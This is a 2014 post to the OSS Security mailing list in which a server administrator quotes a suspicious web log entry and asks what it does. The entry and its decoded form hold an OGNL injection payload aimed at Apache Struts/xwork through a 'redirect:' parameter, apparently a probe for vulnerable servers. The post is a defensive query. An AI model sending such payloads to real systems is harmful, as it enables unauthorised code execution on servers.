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Date: Fri, 31 Oct 2014 05:30:46 +1100 (EST)
From: Dave Horsfall <>
To: OSS Security <>
Subject: Some weird Apache redirection exploit?

May not be Apache-specfic, but as it's the most popular server out 

What is it trying to do?  I've never seen it in my logs before. - - [31/Oct/2014:05:16:15 +1100] "GET ?redirect:${%23w%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23w.println('[/]'),%23w.flush(),%23w.close()} HTTP/1.1" 200 7543 "-" "Python-urllib/2.6"

The perp (or rather, the 0wn3d box) is somewhere in China.  When decoded, it
comes out as

GET ?redirect:${#w=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),#w.println('[/]'),#w.flush(),#w.close()}

but I'm none the wiser.

Dave Horsfall (VK2KFU)  "Bliss is a MacBook with a FreeBSD server." (and check the home page whilst you're there)

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